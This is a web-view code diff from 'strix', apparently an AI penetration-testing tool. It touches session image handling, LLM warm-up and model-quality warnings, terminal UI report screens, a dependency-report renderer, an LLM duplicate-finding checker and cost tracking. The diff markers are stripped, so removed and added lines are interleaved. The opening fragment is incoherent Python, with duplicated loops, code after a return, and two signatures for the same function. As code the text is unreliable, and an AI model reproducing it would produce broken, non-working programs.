def _transform(items: list[Any]) -> tuple[list[Any], bool]:
rebuilt: list[Any] = []
changed = False
for item in items:
item_dict = cast("dict[str, Any]", item) if isinstance(item, dict) else None
if item_dict is not None and _output_has_image(item_dict):
rebuilt.append(_elided_output(item_dict, _IMAGE_REJECTED_TEXT))
changed = True
else:
rebuilt.append(item)
return rebuilt, changed
return await _rewrite_session(session, _transform)
async def enforce_image_budget(session: Session, max_images: int) -> bool:
"""Keep only the most recent ``max_images`` image outputs; elide older ones."""
if max_images < 0:
items = await session.get_items()
if not items:
return False
def _transform(items: list[Any]) -> tuple[list[Any], bool]:
image_indices = [
i
for i, item in enumerate(items)
if isinstance(item, dict) and _output_has_image(cast("dict[str, Any]", item))
]
if len(image_indices) <= max_images:
return items, False
to_elide = set(image_indices[: len(image_indices) - max_images])
rebuilt = [
_elided_output(cast("dict[str, Any]", item), _IMAGE_ELIDED_TEXT)
if i in to_elide
else item
for i, item in enumerate(items)
]
return rebuilt, True
rebuilt: list[Any] = []
changed = False
for item in items:
item_dict = cast("dict[str, Any]", item) if isinstance(item, dict) else None
if (
item_dict is not None
and item_dict.get("type") == "function_call_output"
and isinstance(item_dict.get("output"), list)
and any(
isinstance(b, dict) and b.get("type") == "input_image" for b in item_dict["output"]
)
):
rebuilt.append(
{
"type": "function_call_output",
"call_id": item_dict.get("call_id"),
"output": [{"type": "input_text", "text": _IMAGE_REJECTED_TEXT}],
},
)
changed = True
else:
rebuilt.append(item)
return await _rewrite_session(session, _transform)
if not changed:
return False
def scrub_images_from_items(items: list[Any]) -> list[Any]:
"""Return a copy of ``items`` with every image block replaced by text."""
def _scrub(obj: Any) -> Any:
if isinstance(obj, dict):
if obj.get("type") == "input_image":
return {"type": "input_text", "text": _INHERITED_IMAGE_TEXT}
return {k: _scrub(v) for k, v in obj.items()}
if isinstance(obj, list):
return [_scrub(v) for v in obj]
return obj
return [_scrub(item) for item in items]
rebuilt_items = cast("list[TResponseInputItem]", rebuilt)
await session.clear_session()
try:
await session.add_items(rebuilt_items)
except Exception:
with contextlib.suppress(Exception):
await session.add_items(rebuilt_items)
raise
return True
+2 -85
View File
@@ -23,11 +23,9 @@ from strix.config import (
persist_current,
)
from strix.config.models import (
RECOMMENDED_MODEL_NAMES,
StrixProvider,
configure_sdk_model_defaults,
is_known_openai_bare_model,
is_recommended_or_frontier_model,
)
from strix.core.paths import run_dir_for, runtime_state_dir
from strix.interface.cli import run_cli
@@ -58,16 +56,6 @@ from strix.telemetry.logging import configure_dependency_logging
HOST_GATEWAY_HOSTNAME = "host.docker.internal"
BEDROCK_MODEL_PREFIX = "bedrock/"
BEDROCK_MISSING_MODULE_ERROR = "No module named 'boto3'"
BEDROCK_EXTRA_HINT = (
'Bedrock support is optional. Install it with: pipx install "strix-agent[bedrock]"'
)
VERTEX_MODEL_MARKER = "vertex"
VERTEX_MISSING_MODULE_ERROR = "No module named 'google"
VERTEX_EXTRA_HINT = (
'Vertex AI support is optional. Install it with: pipx install "strix-agent[vertex]"'
)
import logging # noqa: E402
@@ -226,51 +214,10 @@ def check_docker_installed() -> None:
logger.debug("Docker CLI present")
def _exception_messages(exc: BaseException) -> tuple[str, ...]:
messages: list[str] = []
seen: set[int] = set()
stack: list[BaseException] = [exc]
while stack:
current = stack.pop()
if id(current) in seen:
continue
seen.add(id(current))
messages.append(str(current))
if current.__cause__ is not None:
stack.append(current.__cause__)
if current.__context__ is not None:
stack.append(current.__context__)
return tuple(messages)
def _provider_import_hint(exc: BaseException, model: str) -> str | None:
"""Return an install hint when *exc* is a missing provider dependency.
Bedrock and Vertex AI ship as optional extras: Bedrock needs ``boto3`` and
Vertex AI needs ``google-auth``. When either is absent, litellm may raise an
``ImportError``/``ModuleNotFoundError`` directly or wrap it in a connection
error. Map the missing module back to the matching extra so the user knows
what to install. Returns ``None`` for any unrelated error.
"""
model_name = model.lower()
messages = _exception_messages(exc)
if any(
BEDROCK_MISSING_MODULE_ERROR in message for message in messages
) and model_name.startswith(BEDROCK_MODEL_PREFIX):
return BEDROCK_EXTRA_HINT
if (
any(VERTEX_MISSING_MODULE_ERROR in message for message in messages)
and VERTEX_MODEL_MARKER in model_name
):
return VERTEX_EXTRA_HINT
return None
async def warm_up_llm(show_model_warning: bool = True) -> None:
async def warm_up_llm() -> None:
console = Console()
logger.info("Warming up LLM connection")
raw_model = ""
try:
settings = load_settings()
configure_sdk_model_defaults(settings)
@@ -308,32 +255,6 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
)
sys.exit(1)
if show_model_warning and raw_model and not is_recommended_or_frontier_model(raw_model):
warn_text = Text()
warn_text.append("MODEL QUALITY WARNING", style="bold yellow")
warn_text.append("\n\n", style="white")
warn_text.append(f"'{raw_model}'", style="bold cyan")
warn_text.append(
" is not a recommended frontier model for Strix.\nSecurity scans work best with:\n",
style="white",
)
for recommended_model in RECOMMENDED_MODEL_NAMES:
warn_text.append(f"{recommended_model}\n", style="bold cyan")
warn_text.append(
"\nYou can continue, but weaker models may miss vulnerabilities "
"or produce lower-quality findings.",
style="white",
)
console.print(
Panel(
warn_text,
title="[bold white]STRIX",
title_align="left",
border_style="yellow",
padding=(1, 2),
),
)
model = StrixProvider().get_model(raw_model)
await asyncio.wait_for(
model.get_response(
@@ -359,9 +280,6 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
error_text.append("\n\n", style="white")
error_text.append("Could not establish connection to the language model.\n", style="white")
error_text.append("Please check your configuration and try again.\n", style="white")
hint = _provider_import_hint(e, raw_model)
if hint is not None:
error_text.append(f"\n{hint}\n", style="bold yellow")
error_text.append(f"\nError: {e}", style="dim white")
panel = Panel(
@@ -393,7 +311,6 @@ def _positive_budget(value: str) -> float:
except ValueError as exc:
raise argparse.ArgumentTypeError(f"invalid float value: {value!r}") from exc
import math
if not math.isfinite(budget) or budget <= 0:
raise argparse.ArgumentTypeError("must be a finite number greater than 0")
return budget
@@ -855,7 +772,7 @@ def main() -> None:
pull_docker_image()
validate_environment()
asyncio.run(warm_up_llm(show_model_warning=args.non_interactive))
asyncio.run(warm_up_llm())
persist_current()
+7 -99
View File
@@ -31,7 +31,6 @@ from textual.widgets import Button, Label, Static, TextArea, Tree
from textual.widgets.tree import TreeNode
from strix.config import load_settings
from strix.config.models import is_recommended_or_frontier_model
from strix.core.hooks import BudgetExceededError
from strix.core.runner import run_strix_scan
from strix.interface.tui.live_view import TuiLiveView
@@ -117,16 +116,9 @@ class SplashScreen(Static): # type: ignore[misc]
self._animation_timer: Timer | None = None
self._panel_static: Static | None = None
self._version = "dev"
self._non_frontier_model: str | None = None
def compose(self) -> ComposeResult:
self._version = get_package_version()
try:
model = (load_settings().llm.model or "").strip()
except Exception:
model = ""
if model and not is_recommended_or_frontier_model(model):
self._non_frontier_model = model
self._animation_step = 0
start_line = self._build_start_line_text(self._animation_step)
panel = self._build_panel(start_line)
@@ -136,7 +128,7 @@ class SplashScreen(Static): # type: ignore[misc]
yield panel_static
def on_mount(self) -> None:
self._animation_timer = self.set_interval(0.1, self._animate_start_line)
self._animation_timer = self.set_interval(0.05, self._animate_start_line)
def on_unmount(self) -> None:
if self._animation_timer is not None:
@@ -153,7 +145,7 @@ class SplashScreen(Static): # type: ignore[misc]
self._panel_static.update(panel)
def _build_panel(self, start_line: Text) -> Panel:
rows = [
content = Group(
Align.center(Text(self.BANNER.strip("\n"), style=self.PRIMARY_GREEN, justify="center")),
Align.center(Text(" ")),
Align.center(self._build_welcome_text()),
@@ -163,26 +155,9 @@ class SplashScreen(Static): # type: ignore[misc]
Align.center(start_line.copy()),
Align.center(Text(" ")),
Align.center(self._build_url_text()),
]
if self._non_frontier_model:
rows.extend(
(
Align.center(Text(" ")),
Align.center(self._build_model_warning_text(self._non_frontier_model)),
)
)
return Panel.fit(Group(*rows), border_style=self.PRIMARY_GREEN, padding=(1, 6))
@staticmethod
def _build_model_warning_text(model: str) -> Text:
text = Text("", style=Style(color="yellow", bold=True))
text.append(model, style=Style(color="cyan", bold=True))
text.append(
" is not a recommended frontier model - pentest quality could be degraded",
style=Style(color="yellow"),
)
return text
return Panel.fit(content, border_style=self.PRIMARY_GREEN, padding=(1, 6))
def _build_url_text(self) -> Text:
return Text("strix.ai", style=Style(color=self.PRIMARY_GREEN, bold=True))
@@ -396,19 +371,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
text.append("Target: ", style=self.FIELD_STYLE)
text.append(target)
dep_meta = vuln.get("dependency_metadata") or {}
for label, key in (
("Package", "package_name"),
("Ecosystem", "package_ecosystem"),
("Installed Version", "installed_version"),
("Fixed Version", "fixed_version"),
):
value = dep_meta.get(key)
if value:
text.append("\n\n")
text.append(f"{label}: ", style=self.FIELD_STYLE)
text.append(str(value))
endpoint = vuln.get("endpoint", "")
if endpoint:
text.append("\n\n")
@@ -427,18 +389,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
text.append("CVE: ", style=self.FIELD_STYLE)
text.append(cve)
cwe = vuln.get("cwe", "")
if cwe:
text.append("\n\n")
text.append("CWE: ", style=self.FIELD_STYLE)
text.append(cwe)
fix_effort = vuln.get("fix_effort", "")
if fix_effort:
text.append("\n\n")
text.append("Fix Effort: ", style=self.FIELD_STYLE)
text.append(str(fix_effort).title())
cvss_breakdown = vuln.get("cvss_breakdown", {})
if cvss_breakdown:
cvss_parts = []
@@ -484,13 +434,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
text.append("\n")
text.append(technical_analysis)
evidence = vuln.get("evidence", "")
if evidence:
text.append("\n\n")
text.append("Evidence", style=self.FIELD_STYLE)
text.append("\n")
text.append(evidence)
poc_description = vuln.get("poc_description", "")
if poc_description:
text.append("\n\n")
@@ -512,13 +455,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
text.append("\n")
text.append(remediation_steps)
assumptions = vuln.get("assumptions", "")
if assumptions:
text.append("\n\n")
text.append("Assumptions", style=self.FIELD_STYLE)
text.append("\n")
text.append(assumptions)
return text
def _get_markdown_report(self) -> str:
@@ -540,27 +476,14 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
lines.append(f"**Agent:** {vuln['agent_name']}")
if vuln.get("target"):
lines.append(f"**Target:** {vuln['target']}")
dep_meta = vuln.get("dependency_metadata") or {}
if dep_meta.get("package_name"):
lines.append(f"**Package:** {dep_meta['package_name']}")
if dep_meta.get("package_ecosystem"):
lines.append(f"**Ecosystem:** {dep_meta['package_ecosystem']}")
if dep_meta.get("installed_version"):
lines.append(f"**Installed Version:** {dep_meta['installed_version']}")
if dep_meta.get("fixed_version"):
lines.append(f"**Fixed Version:** {dep_meta['fixed_version']}")
if vuln.get("endpoint"):
lines.append(f"**Endpoint:** {vuln['endpoint']}")
if vuln.get("method"):
lines.append(f"**Method:** {vuln['method']}")
if vuln.get("cve"):
lines.append(f"**CVE:** {vuln['cve']}")
if vuln.get("cwe"):
lines.append(f"**CWE:** {vuln['cwe']}")
if vuln.get("cvss") is not None:
lines.append(f"**CVSS:** {vuln['cvss']}")
if vuln.get("fix_effort"):
lines.append(f"**Fix Effort:** {str(vuln['fix_effort']).title()}")
cvss_breakdown = vuln.get("cvss_breakdown", {})
if cvss_breakdown:
@@ -591,9 +514,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
if vuln.get("technical_analysis"):
lines.extend(["", "## Technical Analysis", "", vuln["technical_analysis"]])
if vuln.get("evidence"):
lines.extend(["", "## Evidence", "", vuln["evidence"]])
if vuln.get("poc_description") or vuln.get("poc_script_code"):
lines.extend(["", "## Proof of Concept", ""])
if vuln.get("poc_description"):
@@ -632,9 +552,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
if vuln.get("remediation_steps"):
lines.extend(["", "## Remediation", "", vuln["remediation_steps"]])
if vuln.get("assumptions"):
lines.extend(["", "## Assumptions", "", vuln["assumptions"]])
lines.append("")
return "\n".join(lines)
@@ -812,7 +729,6 @@ class StrixTUIApp(App): # type: ignore[misc]
"#86efac", # Brightest
]
self._dot_animation_timer: Any | None = None
self._pending_scroll_end = False
self._setup_cleanup_handlers()
@@ -956,7 +872,7 @@ class StrixTUIApp(App): # type: ignore[misc]
self._start_scan_thread()
self.set_interval(0.5, self._update_ui)
self.set_interval(0.35, self._update_ui)
def _update_ui(self) -> None:
if self.show_splash:
@@ -1102,16 +1018,8 @@ class StrixTUIApp(App): # type: ignore[misc]
self._safe_widget_operation(chat_display.update, content)
chat_display.set_classes(css_class)
if is_at_bottom and not self._pending_scroll_end:
self._pending_scroll_end = True
self.call_later(self._do_scroll_end, chat_history)
def _do_scroll_end(self, chat_history: VerticalScroll) -> None:
self._pending_scroll_end = False
try:
chat_history.scroll_end(animate=False)
except Exception:
logger.debug("Failed to scroll chat to end", exc_info=True)
if is_at_bottom:
self.call_later(chat_history.scroll_end, animate=False)
def _get_chat_placeholder_content(
self, message: str, placeholder_class: str
@@ -1,6 +1,6 @@
import re
from functools import cache
from typing import Any, ClassVar
from typing import Any
from pygments.lexers import get_lexer_by_name, guess_lexer
from pygments.styles import get_style_by_name
@@ -161,8 +161,6 @@ def _process_inline_formatting(line: str) -> Text:
class AgentMessageRenderer:
_cache: ClassVar[dict[str, Text]] = {}
@classmethod
def render_simple(cls, content: str) -> Text:
if not content:
@@ -170,11 +168,4 @@ class AgentMessageRenderer:
cleaned = _BLANK_LINE_RUNS.sub("\n\n", content).strip()
if not cleaned:
return Text()
cached = cls._cache.get(cleaned)
if cached is not None:
return cached.copy()
rendered = _apply_markdown_styles(cleaned)
if len(cls._cache) > 100:
cls._cache.clear()
cls._cache[cleaned] = rendered
return rendered.copy()
return _apply_markdown_styles(cleaned)
@@ -256,176 +256,3 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
css_classes = cls.get_css_classes("completed")
return Static(padded, classes=css_classes)
@register_tool_renderer
class CreateDependencyReportRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "create_dependency_report"
css_classes: ClassVar[list[str]] = ["tool-call", "reporting-tool"]
SEVERITY_COLORS: ClassVar[dict[str, str]] = {
"critical": "#dc2626",
"high": "#ea580c",
"medium": "#d97706",
"low": "#65a30d",
"info": "#0284c7",
}
@classmethod
def _get_cvss_color(cls, cvss_score: float) -> str:
if cvss_score >= 9.0:
return "#dc2626"
if cvss_score >= 7.0:
return "#ea580c"
if cvss_score >= 4.0:
return "#d97706"
if cvss_score >= 0.1:
return "#65a30d"
return "#6b7280"
@classmethod
def _render_unsuccessful(cls, args: dict[str, Any], result: dict[str, Any]) -> Static:
text = Text()
text.append("📦 ")
text.append("Dependency (SCA) Report", style="bold #ea580c")
title = args.get("title", "")
if title:
text.append("\n\n")
text.append("Title: ", style=FIELD_STYLE)
text.append(title)
warning = result.get("warning")
if result.get("success") is False:
errors = result.get("errors")
detail = (
"; ".join(errors) if isinstance(errors, list) and errors else result.get("error")
)
label, style = "✗ Not created: ", "bold #dc2626"
fallback = "Report was not created."
else:
detail = warning
label, style = "⚠ Not persisted: ", "bold #d97706"
fallback = "Report could not be persisted."
text.append("\n\n")
text.append(label, style=style)
text.append(str(detail or fallback))
padded = Text()
padded.append("\n\n")
padded.append_text(text)
padded.append("\n\n")
return Static(padded, classes=cls.get_css_classes("failed"))
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
args = tool_data.get("args", {})
result = tool_data.get("result", {})
if isinstance(result, dict) and (result.get("success") is False or result.get("warning")):
return cls._render_unsuccessful(args, result)
title = args.get("title", "")
description = args.get("description", "")
impact = args.get("impact", "")
target = args.get("target", "")
technical_analysis = args.get("technical_analysis", "")
remediation_steps = args.get("remediation_steps", "")
assumptions = args.get("assumptions", "")
package_name = args.get("package_name", "")
package_ecosystem = args.get("package_ecosystem", "")
installed_version = args.get("installed_version", "")
fixed_version = args.get("fixed_version", "")
cve = args.get("cve", "")
cwe = args.get("cwe", "")
advisory_cvss = args.get("advisory_cvss")
fix_effort = args.get("fix_effort", "")
severity = ""
if isinstance(result, dict):
severity = result.get("severity", "")
text = Text()
text.append("📦 ")
text.append("Dependency (SCA) Report", style="bold #ea580c")
if title:
text.append("\n\n")
text.append("Title: ", style=FIELD_STYLE)
text.append(title)
if severity:
text.append("\n\n")
text.append("Severity: ", style=FIELD_STYLE)
severity_color = cls.SEVERITY_COLORS.get(severity.lower(), "#6b7280")
text.append(severity.upper(), style=f"bold {severity_color}")
if advisory_cvss is not None:
text.append("\n\n")
text.append("Advisory CVSS: ", style=FIELD_STYLE)
try:
score = float(advisory_cvss)
text.append(str(score), style=f"bold {cls._get_cvss_color(score)}")
except (TypeError, ValueError):
text.append(str(advisory_cvss), style=DIM_STYLE)
if cve:
text.append("\n\n")
text.append("CVE: ", style=FIELD_STYLE)
text.append(cve)
if cwe:
text.append("\n\n")
text.append("CWE: ", style=FIELD_STYLE)
text.append(cwe)
if package_name:
text.append("\n\n")
text.append("Package: ", style=FIELD_STYLE)
text.append(package_name, style=FILE_STYLE)
if package_ecosystem:
text.append(f" ({package_ecosystem})", style=DIM_STYLE)
if installed_version:
text.append("\n\n")
text.append("Installed: ", style=FIELD_STYLE)
text.append(installed_version, style=BEFORE_STYLE)
if fixed_version:
text.append("", style=DIM_STYLE)
text.append("Fixed: ", style=FIELD_STYLE)
text.append(fixed_version, style=AFTER_STYLE)
if fix_effort:
text.append("\n\n")
text.append("Fix Effort: ", style=FIELD_STYLE)
text.append(fix_effort)
if target:
text.append("\n\n")
text.append("Target: ", style=FIELD_STYLE)
text.append(target)
for label, value in [
("Description", description),
("Impact", impact),
("Technical Analysis", technical_analysis),
("Assumptions", assumptions),
("Remediation", remediation_steps),
]:
if value:
text.append("\n\n")
text.append(label, style=FIELD_STYLE)
text.append("\n")
text.append(value)
if not title:
text.append("\n ")
text.append("Creating dependency report...", style="dim")
padded = Text()
padded.append("\n\n")
padded.append_text(text)
padded.append("\n\n")
css_classes = cls.get_css_classes("completed")
return Static(padded, classes=css_classes)
@@ -71,7 +71,7 @@ def _truncate_line(line: str) -> str:
def _clean_output(output: str) -> str:
cleaned: str = Text.from_ansi(output).plain.translate(_CONTROL_BYTES_TO_DROP)
cleaned = Text.from_ansi(output).plain.translate(_CONTROL_BYTES_TO_DROP)
for pattern in STRIP_PATTERNS:
cleaned = re.sub(pattern, "", cleaned, flags=re.MULTILINE)
+1 -124
View File
@@ -4,7 +4,6 @@ from __future__ import annotations
import json
import logging
import re
from typing import TYPE_CHECKING, Any
from agents.model_settings import ModelSettings
@@ -16,7 +15,6 @@ from strix.config.models import (
DEFAULT_MODEL_RETRY,
StrixProvider,
configure_sdk_model_defaults,
request_timeout_extra_args,
)
from strix.report.state import get_global_report_state
@@ -53,11 +51,6 @@ CRITICAL DEDUPLICATION RULES:
- One report is more thorough than another
- Minor variations in technical analysis
4. DEPENDENCY-CVE reports use package identity:
- Same CVE and same package/ecosystem is a duplicate
- Same CVE but different package/ecosystem is NOT a duplicate
- Same package/ecosystem but different CVE is NOT a duplicate
COMPARISON GUIDELINES:
- Focus on the technical root cause, not surface-level similarities
- Same vulnerability type (SQLi, XSS) doesn't mean duplicate - location matters
@@ -108,8 +101,6 @@ def _prepare_report_for_comparison(report: dict[str, Any]) -> dict[str, Any]:
"poc_description",
"endpoint",
"method",
"cve",
"dependency_metadata",
]
cleaned = {}
@@ -123,112 +114,6 @@ def _prepare_report_for_comparison(report: dict[str, Any]) -> dict[str, Any]:
return cleaned
def _dependency_identity(report: dict[str, Any]) -> tuple[str, str, str] | None:
metadata = report.get("dependency_metadata")
if not isinstance(metadata, dict):
return None
raw_cve = report.get("cve")
raw_package = metadata.get("package_name")
if not raw_cve or not raw_package:
return None
cve = str(raw_cve).strip().upper()
ecosystem = str(metadata.get("package_ecosystem") or "").strip().lower()
package_name = str(raw_package).strip().lower()
if not cve or not package_name:
return None
return cve, ecosystem, package_name
def _report_cve(report: dict[str, Any]) -> str:
return str(report.get("cve") or "").strip().upper()
def _legacy_report_mentions_package(
report: dict[str, Any],
*,
ecosystem: str,
package_name: str,
) -> bool:
fields = [
"title",
"description",
"impact",
"target",
"technical_analysis",
"poc_description",
"evidence",
]
haystack = " ".join(str(report.get(field) or "") for field in fields).lower()
package_pattern = rf"(?<![\w@./-]){re.escape(package_name)}(?![\w@./-])"
if re.search(package_pattern, haystack) is None:
return False
if not ecosystem:
return True
ecosystem_pattern = rf"(?<![\w@./-]){re.escape(ecosystem)}(?![\w@./-])"
return re.search(ecosystem_pattern, haystack) is not None
def _check_dependency_duplicate(
candidate: dict[str, Any],
existing_reports: list[dict[str, Any]],
) -> dict[str, Any] | None:
candidate_identity = _dependency_identity(candidate)
if candidate_identity is None:
return None
cve, ecosystem, package_name = candidate_identity
found_legacy_same_cve = False
for report in existing_reports:
report_identity = _dependency_identity(report)
if report_identity is not None:
report_cve, report_ecosystem, report_package_name = report_identity
if (report_cve, report_package_name) != (cve, package_name):
continue
if report_ecosystem == ecosystem:
return {
"is_duplicate": True,
"duplicate_id": str(report.get("id") or "")[:64],
"confidence": 1.0,
"reason": "Same dependency CVE/package identity",
}
if not report_ecosystem or not ecosystem:
return {
"is_duplicate": True,
"duplicate_id": str(report.get("id") or "")[:64],
"confidence": 1.0,
"reason": "Same dependency CVE/package identity with missing ecosystem",
}
continue
if _report_cve(report) != cve:
continue
found_legacy_same_cve = True
if _legacy_report_mentions_package(
report,
ecosystem=ecosystem,
package_name=package_name,
):
return {
"is_duplicate": True,
"duplicate_id": str(report.get("id") or "")[:64],
"confidence": 1.0,
"reason": "Same dependency CVE/package identity in legacy report",
}
if found_legacy_same_cve:
return None
package_label = f"{ecosystem}/{package_name}" if ecosystem else package_name
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 1.0,
"reason": f"No existing dependency report for {cve} in {package_label}",
}
def _parse_dedupe_response(content: str) -> dict[str, Any]:
text = content.strip()
if text.startswith("```"):
@@ -280,10 +165,6 @@ async def check_duplicate(
"reason": "No existing reports to compare against",
}
dependency_duplicate = _check_dependency_duplicate(candidate, existing_reports)
if dependency_duplicate is not None:
return dependency_duplicate
try:
settings = load_settings()
model_name = settings.llm.model
@@ -311,11 +192,7 @@ async def check_duplicate(
response = await model.get_response(
system_instructions=DEDUPE_SYSTEM_PROMPT,
input=user_msg,
model_settings=ModelSettings(
retry=DEFAULT_MODEL_RETRY,
include_usage=True,
extra_args=request_timeout_extra_args(settings.llm.timeout),
),
model_settings=ModelSettings(retry=DEFAULT_MODEL_RETRY, include_usage=True),
tools=[],
output_schema=None,
handoffs=[],
+35 -155
View File
@@ -135,10 +135,6 @@ class ReportState:
self._sarif_repo_ctx: dict[str, Any] | None = None
self._sarif_repo_ctx_ready: bool = False
self.posthog_scan_ended_sent: bool = False
self.scarf_scan_ended_sent: bool = False
self.scan_ended_exit_reason: str | None = None
def get_run_dir(self) -> Path:
if self._run_dir is None:
run_dir_name = self.run_name if self.run_name else self.run_id
@@ -216,9 +212,6 @@ class ReportState:
poc_description: str | None = None,
poc_script_code: str | None = None,
remediation_steps: str | None = None,
evidence: str | None = None,
assumptions: str | None = None,
fix_effort: str | None = None,
cvss: float | None = None,
cvss_breakdown: dict[str, str] | None = None,
endpoint: str | None = None,
@@ -226,9 +219,6 @@ class ReportState:
cve: str | None = None,
cwe: str | None = None,
code_locations: list[dict[str, Any]] | None = None,
fix_pr_body: str | None = None,
finding_class: str | None = None,
dependency_metadata: dict[str, str] | None = None,
agent_id: str | None = None,
agent_name: str | None = None,
) -> str:
@@ -255,12 +245,6 @@ class ReportState:
report["poc_script_code"] = poc_script_code.strip()
if remediation_steps:
report["remediation_steps"] = remediation_steps.strip()
if evidence:
report["evidence"] = evidence.strip()
if assumptions:
report["assumptions"] = assumptions.strip()
if fix_effort:
report["fix_effort"] = fix_effort.strip().lower()
if cvss is not None:
report["cvss"] = cvss
if cvss_breakdown:
@@ -275,11 +259,6 @@ class ReportState:
report["cwe"] = cwe.strip()
if code_locations:
report["code_locations"] = code_locations
if fix_pr_body:
report["fix_pr_body"] = fix_pr_body.strip()
report["finding_class"] = (finding_class or "dynamic").strip().lower()
if dependency_metadata:
report["dependency_metadata"] = dependency_metadata
if agent_id:
report["agent_id"] = agent_id
if agent_name:
@@ -287,8 +266,8 @@ class ReportState:
self.vulnerability_reports.append(report)
logger.info(f"Added vulnerability report: {report_id} - {title}")
posthog.finding(severity, cwe=cwe, is_cve=bool(cve))
scarf.finding(severity, cwe=cwe, is_cve=bool(cve))
posthog.finding(severity)
scarf.finding(severity)
if self.vulnerability_found_callback:
self.vulnerability_found_callback(report)
@@ -459,37 +438,30 @@ class ReportState:
targets = self.run_record.get("targets_info") or []
if not isinstance(targets, list):
return None
repo_targets = [
target
for target in targets
if isinstance(target, dict) and target.get("type") == "repository"
]
# Provenance binds the whole run to one repo; with multiple repo targets
# that's ambiguous, so omit it rather than mis-attributing later repos'
# findings to the first repo's URI/commit.
if len(repo_targets) != 1:
return None
target = repo_targets[0]
details = target.get("details") or {}
if not isinstance(details, dict):
return None
uri = details.get("target_repo")
if not isinstance(uri, str) or not uri.strip():
return None
for target in targets:
if not isinstance(target, dict) or target.get("type") != "repository":
continue
details = target.get("details") or {}
if not isinstance(details, dict):
continue
uri = details.get("target_repo")
if not isinstance(uri, str) or not uri.strip():
continue
context: dict[str, Any] = {"repositoryUri": uri.strip()}
full_name = _parse_repo_full_name(uri)
if full_name:
context["repositoryFullName"] = full_name
cloned = details.get("cloned_repo_path")
if isinstance(cloned, str) and cloned.strip():
commit, branch = _git_head(cloned.strip())
if commit:
context["commitSha"] = commit
if branch:
context["branch"] = branch
context["ref"] = f"refs/heads/{branch}"
return context
context: dict[str, Any] = {"repositoryUri": uri.strip()}
full_name = _parse_repo_full_name(uri)
if full_name:
context["repositoryFullName"] = full_name
cloned = details.get("cloned_repo_path")
if isinstance(cloned, str) and cloned.strip():
commit, branch = _git_head(cloned.strip())
if commit:
context["commitSha"] = commit
if branch:
context["branch"] = branch
context["ref"] = f"refs/heads/{branch}"
return context
return None
def _sync_llm_usage_record(self) -> None:
self.run_record["llm_usage"] = self._build_llm_usage_record()
@@ -534,10 +506,16 @@ def litellm_cost_callback(
cost = value
if cost is None:
cost = _usage_reported_cost(completion_response)
if cost is None:
cost = _estimate_response_cost(kwargs, completion_response)
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
usage_cost: Any
if isinstance(usage, dict):
usage_cost = cast("dict[str, Any]", usage).get("cost")
else:
usage_cost = getattr(usage, "cost", None)
if isinstance(usage_cost, int | float) and usage_cost > 0:
cost = float(usage_cost)
if cost is None or cost <= 0:
return
@@ -548,101 +526,3 @@ def litellm_cost_callback(
report_state.record_observed_llm_cost(cost)
except Exception:
logger.exception("Failed to record observed LiteLLM cost")
def _usage_reported_cost(completion_response: Any) -> float | None:
"""Provider-reported cost from the ``usage`` block (e.g. OpenRouter).
Non-BYOK responses charge everything to ``usage.cost``. BYOK responses
charge only the OpenRouter fee to ``usage.cost`` (often 0) and report the
provider charge in ``usage.cost_details.upstream_inference_cost``, so the
true BYOK total is the sum of the two.
"""
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
if usage is None:
return None
def _field(container: Any, name: str) -> Any:
if isinstance(container, dict):
return cast("dict[str, Any]", container).get(name)
return getattr(container, name, None)
total = 0.0
usage_cost = _field(usage, "cost")
if isinstance(usage_cost, int | float) and usage_cost > 0:
total += float(usage_cost)
if bool(_field(usage, "is_byok")):
upstream = _field(_field(usage, "cost_details"), "upstream_inference_cost")
if isinstance(upstream, int | float) and upstream > 0:
total += float(upstream)
return total if total > 0 else None
def _estimate_response_cost(kwargs: Any, completion_response: Any) -> float | None:
"""Best-effort LiteLLM cost-map estimate when no provider-reported cost exists.
LiteLLM strips provider cost fields when rebuilding streamed responses and
returns no ``response_cost`` for models missing from its cost map, so try
the provider-prefixed name, the raw name, and the bare model name.
"""
from litellm import completion_cost
model = kwargs.get("model") if isinstance(kwargs, dict) else None
if not isinstance(model, str) or not model:
if isinstance(completion_response, dict):
model = cast("dict[str, Any]", completion_response).get("model")
else:
model = getattr(completion_response, "model", None)
if not isinstance(model, str) or not model:
return None
provider = None
litellm_params = kwargs.get("litellm_params") if isinstance(kwargs, dict) else None
if isinstance(litellm_params, dict):
provider = litellm_params.get("custom_llm_provider")
usage_payload = _usage_payload(completion_response)
if usage_payload is None:
return None
candidates: list[str] = []
if isinstance(provider, str) and provider and not model.startswith(f"{provider}/"):
candidates.append(f"{provider}/{model}")
candidates.append(model)
if "/" in model:
candidates.append(model.rsplit("/", 1)[-1])
for candidate in candidates:
try:
value = completion_cost(
completion_response={"model": candidate, "usage": usage_payload},
model=candidate,
)
except Exception: # nosec B112 # noqa: BLE001, S112
continue
if isinstance(value, int | float) and value > 0:
return float(value)
return None
def _usage_payload(completion_response: Any) -> dict[str, Any] | None:
"""Token counts as a plain dict, detached from the response's provider metadata."""
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
if usage is None:
return None
if hasattr(usage, "model_dump"):
usage = usage.model_dump()
if not isinstance(usage, dict):
return None
payload = cast("dict[str, Any]", usage)
if not payload.get("total_tokens") and not (
payload.get("prompt_tokens") or payload.get("completion_tokens")
):
return None
return payload
+4 -43
View File
@@ -6,7 +6,6 @@ import csv
import io
import json
import logging
import re
import tempfile
from datetime import UTC, datetime
from pathlib import Path
@@ -19,21 +18,6 @@ logger = logging.getLogger(__name__)
